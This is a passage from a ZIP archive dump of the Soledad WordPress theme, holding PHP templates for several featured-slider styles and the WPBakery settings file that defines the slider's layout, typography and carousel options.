                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => $cspost_enable,
											'keys'      => $cspost_cpost_meta,
											'acf'       => $cspost_cpost_acf_meta,
											'label'     => $cspost_cpost_meta_label,
											'divider'   => $cspost_cpost_meta_divider,
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\8ɍ    2  js_composer/shortcodes/featured_slider/style-9.phpnu [        <?php
/**
 * Template part for Slider Style 9
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-square';
$penci_is_mobile = penci_is_mobile();

	$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$post_thumb_size,$post_thumb_msize ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format lager-size-icon">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => $cspost_enable,
		                                    'keys'      => $cspost_cpost_meta,
		                                    'acf'       => $cspost_cpost_acf_meta,
		                                    'label' 	=> $cspost_cpost_meta_label,
		                                    'divider' 	=> $cspost_cpost_meta_divider,
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     /w\D  D  3  js_composer/shortcodes/featured_slider/settings.phpnu [        <?php
$group_color = 'Typo & Color';

$main_params = array(
	array(
		'type'             => 'textfield',
		'param_name'       => 'heading_gnr_settings',
		'heading'          => esc_html__( 'General Settings', 'soledad' ),
		'value'            => '',
		'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
	),
	array(
		'type'        => 'loop',
		'heading'     => '',
		'param_name'  => 'build_query',
		'value'       => 'post_type:post|size:10',
		'settings'    => array(
			'size'      => array( 'value' => 10, 'hidden' => false ),
			'post_type' => array( 'value' => 'post', 'hidden' => false )
		),
		'description' => __( 'Create WordPress loop, to populate content from your site.', 'soledad' ),
	),
	array(
		'type'       => 'dropdown',
		'heading'    => __( 'Choose style', 'soledad' ),
		'value'      => array(
			'Style 1'  => 'style-1',
			'Style 2'  => 'style-2',
			'Style 4'  => 'style-4',
			'Style 6'  => 'style-6',
			'Style 7'  => 'style-7',
			'Style 8'  => 'style-8',
			'Style 9'  => 'style-9',
			'Style 10' => 'style-10',
			'Style 11' => 'style-11',
			'Style 13' => 'style-13',
			'Style 15' => 'style-15',
			'Style 17' => 'style-17',
			'Style 19' => 'style-19',
			'Style 20' => 'style-20',
			'Style 21' => 'style-21',
			'Style 22' => 'style-22',
			'Style 23' => 'style-23',
			'Style 24' => 'style-24',
			'Style 25' => 'style-25',
			'Style 26' => 'style-26',
			'Style 27' => 'style-27',
			'Style 28' => 'style-28',
			'Style 29' => 'style-29',
			'Style 35' => 'style-35',
			'Style 37' => 'style-37',
			'Style 38' => 'style-38',
			'Style 39' => 'style-40',
			'Style 40' => 'style-41',
			'Style 41' => 'style-42',
			'Style 42' => 'style-44',
		),
		'param_name' => 'style',
	),
	array(
		'type'        => 'dropdown',
		'heading'     => __( 'Carousel Effect', 'soledad' ),
		'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
		'value'       => array(
			'Default ( Slide )' => 'default',
			'Swing'             => 'swing',
		),
		'param_name'  => 'carousel_slider_effect',
	),
	array(
		'type'        => 'dropdown',
		'heading'     => __( 'Slider Effect', 'soledad' ),
		'description' => __( 'Some sliders do not support all effects listed below. The Creative effect is functioning correctly on styles 1, 3, 29, 30, 35, and 36. Style 39 only supports the "Fade" effect.', 'soledad' ),
		'value'       => array(
			'Slide'     => 'slide',
			'Fade'      => 'fade',
			'Coverflow' => 'coverflow',
			'Flip'      => 'flip',
			'Cards'     => 'cards',
			'Creative'  => 'creative',
		),
		'param_name'  => 'single_slider_effect',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Disable Lazy Load Images on The Slider', 'soledad' ),
		'param_name' => 'disable_lazyload_slider',
		'value'      => 'no',
	),
	array(
		'type'        => 'penci_switch',
		'heading'     => esc_html__( 'Enable Flat Overlay Replace with Gradient Overlay', 'soledad' ),
		'param_name'  => 'enable_flat_overlay',
		'value'       => 'no',
		'description' => 'This option does not apply for Slider Styles 1, 2, 3, 4, 5, 29, 30, 35, 36, 37, 38',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Hide Center Box on Featured Slider', 'soledad' ),
		'param_name' => 'center_box',
		'value'      => 'no',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Hide Center Box', 'soledad' ),
		'param_name' => 'center_box',
		'value'      => 'no',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Hide Post Date', 'soledad' ),
		'param_name' => 'meta_date_hide',
		'value'      => 'no',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Hide Categories Of Post', 'soledad' ),
		'param_name' => 'hide_categories',
		'value'      => 'no',
	),
	array(
		'type'        => 'penci_switch',
		'heading'     => esc_html__( 'Display Categories for all Posts on Slider', 'soledad' ),
		'param_name'  => 'show_cat',
		'description' => 'By default, we disabled categories for some slider styles & some small posts - this option will help you show it if you want.',
		'value'       => 'no',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Hide Post Number Comments', 'soledad' ),
		'param_name' => 'hide_meta_comment',
		'value'      => 'no',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Show Post Author', 'soledad' ),
		'param_name' => 'show_meta_author',
		'value'      => 'no',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Hide Post Excerpt on Style 24 & 26', 'soledad' ),
		'param_name' => 'hide_meta_excerpt',

		'value' => 'no',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Hide Post Format Icons', 'soledad' ),
		'param_name' => 'hide_format_icons',
		'value'      => 'no',
	),
	array(
		'type'       => 'textfield',
		'heading'    => esc_html__( 'Post Title Length', 'soledad' ),
		'param_name' => 'title_length',
		'std'        => '12',
	),
	array(
		'type'             => 'textfield',
		'param_name'       => 'heading_slider_settings',
		'heading'          => esc_html__( 'Slider options', 'soledad' ),
		'value'            => '',
		'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Autoplay', 'soledad' ),
		'param_name' => 'autoplay',
		'value'      => 'no',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Slider Loop', 'soledad' ),
		'param_name' => 'loop',
		'value'      => 'no',
	),
	array(
		'type'       => 'textfield',
		'heading'    => esc_html__( 'Slider Auto Time (at x seconds)', 'soledad' ),
		'param_name' => 'auto_time',
		'std'        => 4000,
	),
	array(
		'type'       => 'textfield',
		'heading'    => esc_html__( 'Slider Speed (at x seconds)', 'soledad' ),
		'param_name' => 'speed',
		'std'        => 800,
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Show next/prev buttons', 'soledad' ),
		'param_name' => 'shownav',
		'value'      => 'no',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Show dots navigation', 'soledad' ),
		'param_name' => 'showdots',
		'value'      => 'no',
	),
);

$style_big_post = array(
	'style-6',
	'style-13',
	'style-15',
	'style-17',
	'style-18',
	'style-19',
	'style-20',
	'style-21',
	'style-22',
	'style-23',
	'style-24',
	'style-25',
	'style-26',
	'style-27',
	'style-28',
	'style-37'
);
$typo_params    = array(
	array(
		'type'             => 'textfield',
		'param_name'       => 'heading_style_img_settings',
		'heading'          => esc_html__( 'Image', 'soledad' ),
		'value'            => '',
		'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		'group'            => $group_color,
	),
	array(
		'type'       => 'dropdown',
		'heading'    => __( 'Image size', 'soledad' ),
		'param_name' => 'post_thumb_size',
		'std'        => '',
		'value'      => Penci_Vc_Helper::get_list_image_sizes( true ),
		'group'      => $group_color,
	),
	array(
		'type'       => 'dropdown',
		'heading'    => __( 'Image size for Big Post', 'soledad' ),
		'param_name' => 'bpost_thumb_size',
		'std'        => '',
		'value'      => Penci_Vc_Helper::get_list_image_sizes( true ),
		'dependency' => array( 'element' => 'style', 'value' => $style_big_post ),
		'group'      => $group_color,
	),
	array(
		'type'       => 'dropdown',
		'heading'    => __( 'Image size on Mobile', 'soledad' ),
		'param_name' => 'post_thumb_size_mobile',
		'std'        => '',
		'value'      => Penci_Vc_Helper::get_list_image_sizes( true ),
		'group'      => $group_color,
	),
	array(
		'type'        => 'textfield',
		'heading'     => esc_html__( 'Border Radius', 'soledad' ),
		'description' => 'You can use pixel or percent. E.g:  <strong>10px</strong>  or  <strong>10%</strong>',
		'param_name'  => 'img_border_radius',
		'std'         => '',
		'group'       => $group_color,
	),
	array(
		'type'        => 'textfield',
		'heading'     => esc_html__( 'Ratio Height/Width of Images', 'soledad' ),
		'description' => 'This option does not apply for <strong>Slider Styles 19 & 27</strong>. Unit is %. E.g: 50',
		'param_name'  => 'img_ratio',
		'std'         => '',
		'group'       => $group_color,
	),

	// Title
	array(
		'type'             => 'textfield',
		'param_name'       => 'heading_style_title_settings',
		'heading'          => esc_html__( 'Title', 'soledad' ),
		'value'            => '',
		'group'            => $group_color,
		'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
		'param_name'       => 'title_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
		'param_name'       => 'title_hcolor',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'       => 'penci_responsive_sizes',
		'param_name' => 'ptitle_fsize',
		'heading'    => __( 'Font size for Post title', 'soledad' ),
		'value'      => '',
		'std'        => '',
		'suffix'     => 'px',
		'min'        => 1,
		'group'      => $group_color,
	),
	array(
		'type'             => 'penci_responsive_sizes',
		'param_name'       => 'bptitle_fsize',
		'heading'          => __( 'Font Size for Post Title of Big Post', 'soledad' ),
		'value'            => '',
		'std'              => '',
		'suffix'           => 'px',
		'min'              => 1,
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
		'dependency'       => array( 'element' => 'style', 'value' => $style_big_post ),
	),
	array(
		'type'             => 'penci_switch',
		'heading'          => __( 'Custom Font Family for Post Title', 'soledad' ),
		'param_name'       => 'use_ptitle_typo',
		'value'            => 'no',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'       => 'google_fonts',
		'group'      => $group_color,
		'param_name' => 'ptitle_typo',
		'value'      => '',
		'dependency' => array( 'element' => 'use_ptitle_typo', 'value' => 'yes' ),
	),

	// Category
	array(
		'type'             => 'textfield',
		'param_name'       => 'heading_style_cat_settings',
		'heading'          => esc_html__( 'Category', 'soledad' ),
		'value'            => '',
		'group'            => $group_color,
		'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
		'param_name'       => 'pcat_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
		'param_name'       => 'pcat_hcolor',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'       => 'penci_responsive_sizes',
		'param_name' => 'pcat_fsize',
		'heading'    => __( 'Font size for Post title', 'soledad' ),
		'value'      => '',
		'std'        => '',
		'suffix'     => 'px',
		'min'        => 1,
		'group'      => $group_color,
	),
	array(
		'type'             => 'penci_switch',
		'heading'          => __( 'Custom Font Family for Post Title', 'soledad' ),
		'param_name'       => 'use_pcat_typo',
		'value'            => 'no',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'       => 'google_fonts',
		'group'      => $group_color,
		'param_name' => 'pcat_typo',
		'value'      => '',
		'dependency' => array( 'element' => 'use_pcat_typo', 'value' => 'yes' ),
	),

	// Meta
	array(
		'type'             => 'textfield',
		'param_name'       => 'heading_style_pmeta_settings',
		'heading'          => esc_html__( 'Post Meta', 'soledad' ),
		'value'            => '',
		'group'            => $group_color,
		'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Post Meta Color', 'soledad' ),
		'param_name'       => 'pmeta_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Post Meta Hover Color', 'soledad' ),
		'param_name'       => 'pmeta_hcolor',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'       => 'penci_responsive_sizes',
		'param_name' => 'pmeta_fsize',
		'heading'    => __( 'Font size for Post Meta', 'soledad' ),
		'value'      => '',
		'std'        => '',
		'suffix'     => 'px',
		'min'        => 1,
		'group'      => $group_color,
	),
	array(
		'type'             => 'penci_switch',
		'heading'          => __( 'Custom Font Family for Post Meta', 'soledad' ),
		'param_name'       => 'use_pmeta_typo',
		'value'            => 'no',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'       => 'google_fonts',
		'group'      => $group_color,
		'param_name' => 'pmeta_typo',
		'value'      => '',
		'dependency' => array( 'element' => 'use_pcat_typo', 'value' => 'yes' ),
	),

	// Excerpt
	array(
		'type'             => 'textfield',
		'param_name'       => 'heading_style_pexcerpt_settings',
		'heading'          => esc_html__( 'Category', 'soledad' ),
		'value'            => '',
		'group'            => $group_color,
		'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Post Meta Color', 'soledad' ),
		'param_name'       => 'pexcerpt_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Post Meta Hover Color', 'soledad' ),
		'param_name'       => 'pexcerpt_hcolor',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'       => 'penci_responsive_sizes',
		'param_name' => 'pexcerpt_fsize',
		'heading'    => __( 'Font size for Post Meta', 'soledad' ),
		'value'      => '',
		'std'        => '',
		'suffix'     => 'px',
		'min'        => 1,
		'group'      => $group_color,
	),
	array(
		'type'             => 'penci_switch',
		'heading'          => __( 'Custom Font Family for Post Meta', 'soledad' ),
		'param_name'       => 'use_pexcerpt_typo',
		'value'            => 'no',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'       => 'google_fonts',
		'group'      => $group_color,
		'param_name' => 'pexcerpt_typo',
		'value'      => '',
		'dependency' => array( 'element' => 'use_pexcerpt_typo', 'value' => 'yes' ),
	),

	// Read More
	array(
		'type'             => 'textfield',
		'param_name'       => 'heading_style_readmore_settings',
		'heading'          => esc_html__( 'Read More', 'soledad' ),
		'value'            => '',
		'group'            => $group_color,
		'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Read More Color', 'soledad' ),
		'param_name'       => 'readmore_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Read More Hover Color', 'soledad' ),
		'param_name'       => 'readmore_hcolor',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Read More Hover Background Color', 'soledad' ),
		'param_name'       => 'readmore_hbgcolor',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'       => 'penci_responsive_sizes',
		'param_name' => 'readmore_fsize',
		'heading'    => __( 'Font size for Read More', 'soledad' ),
		'value'      => '',
		'std'        => '',
		'suffix'     => 'px',
		'min'        => 1,
		'group'      => $group_color,
	),
	array(
		'type'             => 'penci_switch',
		'heading'          => __( 'Custom Font Family for Read More', 'soledad' ),
		'param_name'       => 'use_readmore_typo',
		'value'            => 'no',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'       => 'google_fonts',
		'group'      => $group_color,
		'param_name' => 'readmore_typo',
		'value'      => '',
		'dependency' => array( 'element' => 'use_readmore_typo', 'value' => 'yes' ),
	),
);

vc_map( array(
	'base'          => 'penci_featured_slider',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/featured_slider/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . __( 'Featured Slider', 'soledad' ),
	'description'   => __( 'Featured Slider Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( $main_params, $typo_params, Penci_Vc_Params_Helper::params_bookmark_icon() )
) );
PK     /w\V4v    3  js_composer/shortcodes/featured_slider/style-28.phpnu [        <?php
/**
 * Template part for Slider Style 28
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 7 == 1 ): $thumb = $bpost_thumb_size;
					$psize                 = 'normal'; endif;
				if ( $penci_is_mobile ) {
					$thumb = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
				}
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 7 ); ?>  <?php echo( ( $i % 7 == 1 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
                    <a class="penci-image-holder"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumb ); ?>');"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format<?php if ( $i % 7 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
							<?php if ( ( $i % 7 == 1 || $show_cat ) && ! $hide_categories ): ?>
                                <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
							<?php endif; ?>
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 7 == 1 ): ?>
									<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => $cspost_enable,
												'keys'      => $cspost_cpost_meta,
												'acf'       => $cspost_cpost_acf_meta,
												'label'     => $cspost_cpost_meta_label,
												'divider'   => $cspost_cpost_meta_divider,
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( ( $i % 7 == 0 || $i % 7 == 1 || $i % 7 == 3 || $i % 7 == 5 ) && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\lp    3  js_composer/shortcodes/featured_slider/style-11.phpnu [        <?php
/**
 * Template part for Slider Style 11
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-magazine-slider';
$penci_is_mobile = penci_is_mobile();

	$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 2 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$post_thumb_size,$post_thumb_msize ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
